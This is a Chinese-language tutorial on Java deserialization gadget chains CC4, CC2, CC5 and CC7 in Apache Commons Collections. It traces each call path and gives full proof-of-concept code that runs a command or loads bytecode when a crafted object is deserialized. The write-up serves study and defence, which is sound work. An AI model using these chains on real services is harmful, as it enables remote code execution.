CC4

环境:

  • Commons-Collections 4.0

https://mvnrepository.com/artifact/org.apache.commons/commons-collections4/4.0

xml
1
2
3
4
5
6
7
8
<dependencies>
  <!-- https://mvnrepository.com/artifact/org.apache.commons/commons-collections4 -->
  <dependency>
    <groupId>org.apache.commons</groupId>
    <artifactId>commons-collections4</artifactId>
    <version>4.0</version>
  </dependency>
</dependencies>
  • JDK 8u65

分析:

以 ChainedTransformer.transform 为出发点,往回找

找到 TransformingComparator.compare 中调用了 transform 方法

再找到 PriorityQueue 类中:

最后找到的链也就是:

PriorityQueue.

readObject

heapify

siftDown

siftDownUsingComparator

compare

TransformingComparator.compare.transform

ChainedTransformer.transform

PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator.compare

->

TransformingComparator.compare.transform

->

ChainedTransformer.transform

编写 POC:

先将 CC3 的代码执行部分拿来:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//代码执行 InstantiateTransformer
TemplatesImpl templates = new TemplatesImpl();
Class tc = templates.getClass();
Field nameFiled = tc.getDeclaredField("_name");
nameFiled.setAccessible(true);
nameFiled.set(templates, "aaa");
Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
bytecodesFiled.setAccessible(true);
byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
byte[][] codes = {code};
bytecodesFiled.set(templates, codes);

InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
Transformer[] transformers = new Transformer[]{
    new ConstantTransformer(TrAXFilter.class),
    instantiateTransformer
};

ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

对照源码进行构造:

java
1
2
TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);
PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

写好之后,发现没有反应

调试来到此处:

看到 size:0 ,不会进入 siftDown.

for (int i = (size >>> 1) - 1; i >= 0; i--)

1. size >>> 1

  • >>>无符号右移运算符
  • size >>> 1 等价于 size / 2(向下取整),但不同于 /2 的地方在于:
    • /2 是普通的除法运算;
    • >>> 1 是位运算,执行效率更高(尤其是在底层算法里)。

所以 size >>> 1 就是 数组长度的一半

2. (size >>> 1) - 1

  • 先取数组长度的一半,再减去 1。
  • 结果是 从数组的最后一个非叶子节点开始的位置

例如在堆排序或优先队列的实现中:

  • 叶子节点的下标范围是 size/2 ~ size-1
  • 非叶子节点的最后一个位置就是 (size/2)-1

3. for (int i = ...; i >= 0; i--)

  • i(size >>> 1) - 1 开始,递减到 0
  • 也就是说:循环会从最后一个非叶子节点开始,往前遍历所有非叶子节点,直到根节点

这是一个建堆(heapify)的实现。作用是:从最后一个非叶子节点开始,依次向前调整,直到把整个数组调整成一个堆结构

所以要保证 size 为 2 才能进入 for 循环执行代码

于是添加:

java
1
2
priorityQueue.add(1);
priorityQueue.add(2);

此时执行代码后报错了

跟进 add 函数:

发现 add 函数也会调用 compare,而当 add 调用 compare 也就会调用 transform

而我们知道 _tfactory 在反序列化的时候才会被赋值 【CC3 中分析 利用 TemplatesImpl 加载字节码 时提及】

所以,先给 transformers/chainedTransformer 传一个没用的东西,让 add 执行时不会调用

compare.transform ,在反序列化时再赋给正常值。

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
        //TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");

这样就可以正常执行了

完整的POC:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
package com.CC4;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import com.sun.org.apache.xalan.internal.xsltc.trax.TrAXFilter;
import org.apache.commons.collections4.Transformer;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ChainedTransformer;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InstantiateTransformer;

import javax.xml.transform.Templates;
import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC4Test {
    public static void main(String[] args) throws Exception {

        //代码执行 InstantiateTransformer
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameFiled = tc.getDeclaredField("_name");
        nameFiled.setAccessible(true);
        nameFiled.set(templates, "aaa");
        Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
        bytecodesFiled.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
        byte[][] codes = {code};
        bytecodesFiled.set(templates, codes);

        InstantiateTransformer instantiateTransformer = new InstantiateTransformer(new Class[]{Templates.class}, new Object[]{templates});
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(TrAXFilter.class),
            instantiateTransformer
        };

        ChainedTransformer chainedTransformer = new ChainedTransformer<>(transformers);

        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
        //TransformingComparator transformingComparator = new TransformingComparator<>(chainedTransformer);

        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        priorityQueue.add(1);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        transformerField.set(transformingComparator, chainedTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }

}

CC2

分析:

CC2 和 CC4 并无太大区别,CC2 的前半部分同样为:PriorityQueue.readObject.heapify.siftDown.siftDownUsingComparator.compare

-> TransformingComparator.compare.transform

-> ChainedTransformer.transform

之后,CC4:

InstantiateTransformer.transform

-> TrAXFilter.TrAXFilter

-> TemplatesImpl.newTransforemer

-> TransletClassLoader.newInstance

CC2:

InvokerTransformer.transform

-> TemplatesImpl.newTransforemer

-> TransletClassLoader.newInstance

完整POC

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
package com.CC2;

import com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl;
import org.apache.commons.collections4.comparators.TransformingComparator;
import org.apache.commons.collections4.functors.ConstantTransformer;
import org.apache.commons.collections4.functors.InvokerTransformer;

import java.io.*;
import java.lang.reflect.Field;
import java.nio.file.Files;
import java.nio.file.Paths;
import java.util.PriorityQueue;

public class CC2Test {
    public static void main(String[] args) throws Exception {
        //代码执行 
        TemplatesImpl templates = new TemplatesImpl();
        Class tc = templates.getClass();
        Field nameFiled = tc.getDeclaredField("_name");
        nameFiled.setAccessible(true);
        nameFiled.set(templates, "aaa");
        Field bytecodesFiled = tc.getDeclaredField("_bytecodes");
        bytecodesFiled.setAccessible(true);
        byte[] code = Files.readAllBytes(Paths.get("E://Test.class"));
        byte[][] codes = {code};
        bytecodesFiled.set(templates, codes);
        InvokerTransformer<Object, Object> invokerTransformer = new InvokerTransformer<>("newTransformer", new Class[]{}, new Object[]{});
        TransformingComparator transformingComparator = new TransformingComparator<>(new ConstantTransformer(1));
        PriorityQueue priorityQueue = new PriorityQueue<>(transformingComparator);

        //改为 templates
        priorityQueue.add(templates);
        priorityQueue.add(2);

        Class c = transformingComparator.getClass();
        Field transformerField = c.getDeclaredField("transformer");
        transformerField.setAccessible(true);
        //改为 invokerTransformer
        transformerField.set(transformingComparator, invokerTransformer);

        serialize(priorityQueue);
        unserialize("ser.bin");
    }

    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC5

分析:

CC5 的起点变成了 BadAttributeValueExpException,调用的是 TiedMapEntry.toString ,之后便是 LazyMap.get(CC1-LazyMap/CC6)。

这里从正向走比较方便,如果从 LazyMap.get 出发,会用很多调用 get 方法的类,不好找。

来到 BadAttributeValueExpException 类,跟进 toString() 方法

这里的 toString() 方法要找到调用它的类,然后就找到了 TiedMapEntry 类中调用的 toString

getValue 调用了 map.get,后续便是 LazyMap 调用 get。

POC:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
package com.CC5;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;
import org.apache.commons.collections4.keyvalue.TiedMapEntry;

import javax.management.BadAttributeValueExpException;
import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Map;

public class CC5Test {
    public static void main(String[] args) throws Exception {

        // CC1-LazyMap
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        HashMap map = new HashMap();
        Map lazymap = LazyMap.decorate(map, chainedTransformer);

        TiedMapEntry tiedMapEntry = new TiedMapEntry(lazymap,"key");
        tiedMapEntry.toString();

        BadAttributeValueExpException badAttributeValueExpException = new BadAttributeValueExpException(null);

        //反射修改 BadAttributeValueExpException 的 val 值
        Class c = Class.forName("javax.management.BadAttributeValueExpException");
        Field val = c.getDeclaredField("val");
        val.setAccessible(true);
        val.set(badAttributeValueExpException,tiedMapEntry);
        serialize(badAttributeValueExpException);
        unserialize("ser.bin");

    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

CC7

分析:

CC7 的入口点变成了: HashTable.readObject

HashTable 中的 readObject 调用了 reconstitutionPut

reconstitutionPut中调用了 equals ,

因为 LazyMap 不存在 equals 方法,然后找到它的父类 AbstractMapDecorator 调用 equals

找到 AbstractMap.equals 中调用了 get 方法

构造POC:

AbstractMap.equals

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
public abstract class AbstractMap<K,V> implements Map<K,V> {
    ...
    public boolean equals(Object o) {
    //判断传入的是否为同一对象
    if (o == this)
        return true;

    //类型检查
    if (!(o instanceof Map))
        return false;
    Map<?,?> m = (Map<?,?>) o;
    //比较两个 map 的 size() 
    if (m.size() != size())
        return false;

    try {
        //entrySet() 的迭代器,用于遍历所有键值对(Entry<K,V>)
        Iterator<Entry<K,V>> i = entrySet().iterator();
        //遍历每一个映射条目,取出 key 和 value,准备与另一个 map m 中对应的值做比较
        while (i.hasNext()) {
            Entry<K,V> e = i.next();
            K key = e.getKey();
            V value = e.getValue();
            
            if (value == null) {
                //value == null 进入
                if (!(m.get(key)==null && m.containsKey(key)))
                    return false;
            } else {
                if (!value.equals(m.get(key)))
                    return false;
            }
        }
    } catch (ClassCastException unused) {
        return false;
    } catch (NullPointerException unused) {
        return false;
    }

    return true;
}
    ...
}

Hashtable.reconstitutionPut

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
private void reconstitutionPut(Entry<?,?>[] tab, K key, V value)
throws StreamCorruptedException
{
    if (value == null) {
        throw new java.io.StreamCorruptedException();
    }
    // Makes sure the key is not already in the hashtable.
    // This should not happen in deserialized version.
    //计算 key 的哈希值
    int hash = key.hashCode();
    //% tab.length 将哈希值映射到数组索引范围
    int index = (hash & 0x7FFFFFFF) % tab.length;
    //从 tab[index] 中将 Entry 放入循环
    for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        //先 e.hash == hash,比较已有元素和新元素的hash是否相同
        //一样之后,接着调用 e.key.equals(key),比较已有元素的key和新的key是否相同
        if ((e.hash == hash) && e.key.equals(key)) {
            //如果 key重复,抛出异常
            throw new java.io.StreamCorruptedException();
        }
    }
    // Creates the new entry.
    @SuppressWarnings("unchecked")
    Entry<K,V> e = (Entry<K,V>)tab[index];
    tab[index] = new Entry<>(hash, key, value, e);
    count++;
}

**注意:首先满足 value != null,之后满足俩个元素的 hash 值相同,然后在判断 key 是否重复时触发 equals 方法 **

HashTable.readObject

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
private void readObject(java.io.ObjectInputStream s)
throws IOException, ClassNotFoundException
{
    // Read in the length, threshold, and loadfactor
    s.defaultReadObject();

    // Read the original length of the array and number of elements
    int origlength = s.readInt();
    int elements = s.readInt();

    // Compute new size with a bit of room 5% to grow but
    // no larger than the original size.  Make the length
    // odd if it's large enough, this helps distribute the entries.
    // Guard against the length ending up zero, that's not valid.
    int length = (int)(elements * loadFactor) + (elements / 20) + 3;
    if (length > elements && (length & 1) == 0)
        length--;
    if (origlength > 0 && length > origlength)
        length = origlength;
    table = new Entry<?,?>[length];
    threshold = (int)Math.min(length * loadFactor, MAX_ARRAY_SIZE + 1);
    count = 0;

    // Read the number of elements and then all the key/value objects
    //反序列化
    for (; elements > 0; elements--) {
        @SuppressWarnings("unchecked")
        K key = (K)s.readObject();
        @SuppressWarnings("unchecked")
        V value = (V)s.readObject();
        // synch could be eliminated for performance
        reconstitutionPut(table, key, value);
    }
}

构造:

ysoserial:

结合上述代码的分析,ysoserial 这里要写 俩个 put 的作用便是:

在 Hashtable 放入俩个 lazyMap ,制造“冲突”,迫使他们进入

java
1
2
3
4
5
for (Entry<?,?> e = tab[index] ; e != null ; e = e.next) {
        if ((e.hash == hash) && e.key.equals(key)) {
        throw new java.io.StreamCorruptedException();
        }
    }

同时要让俩个元素的哈希值相同【(e.hash == hash)】,然后就会触发 key.equals() 的比较。
equals() 内部会调用到 LazyMap.get(),最终触发 transformerChain 执行恶意代码

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
//首先创建俩个map
Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        //俩个元素的hash值一样
        Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazyMap1.put("yy", 1);
        
        Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);


        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        // 这里的问题在urldns 和 CC6 中均有提及
        //https://www.yuque.com/taohuayuanpang/qxcvxi/qvul6kkfwvcanocn#ZLUWn
        lazyMap1.remove("yy");

hash相同的值:

yy与zZ


Ea与FB

完整POC:

java
 1
 2
 3
 4
 5
 6
 7
 8
 9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
package com.CC7;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.LazyMap;

import java.io.*;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.Hashtable;
import java.util.Map;

public class CC7Test {
    public static void main(String[] args) throws Exception{
        // CC1-LazyMap
        Transformer[] transformers = new Transformer[]{
                new ConstantTransformer(Runtime.class),
                new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", null}),
                new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, null}),
                new InvokerTransformer("exec", new Class[]{String.class}, new Object[]{"calc"})
        };
//        ChainedTransformer chainedTransformer = new ChainedTransformer(transformers);
        ChainedTransformer chainedTransformer = new ChainedTransformer(new Transformer[]{});


        Map hashMap1 = new HashMap();
        Map hashMap2 = new HashMap();

        Map lazyMap1 = LazyMap.decorate(hashMap1, chainedTransformer);
        lazyMap1.put("yy", 1);

        Map lazyMap2 = LazyMap.decorate(hashMap2, chainedTransformer);
        lazyMap2.put("zZ", 1);

//        System.out.println(lazyMap1.hashCode());
//        System.out.println(lazyMap2.hashCode());

        Hashtable hashtable = new Hashtable();
        hashtable.put(lazyMap1, 1);
        hashtable.put(lazyMap2, 1);

        lazyMap2.remove("yy");

        Class c = ChainedTransformer.class;
        Field field = c.getDeclaredField("iTransformers");
        field.setAccessible(true);
        field.set(chainedTransformer, transformers);


        serialize(hashtable);
        unserialize("ser.bin");
    }
    public static void serialize(Object obj) throws IOException {
        ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("ser.bin"));
        oos.writeObject(obj);
    }
    public static Object unserialize(String Filename) throws IOException, ClassNotFoundException{
        ObjectInputStream ois = new ObjectInputStream(new FileInputStream(Filename));
        Object obj = ois.readObject();
        return obj;
    }
}

总结: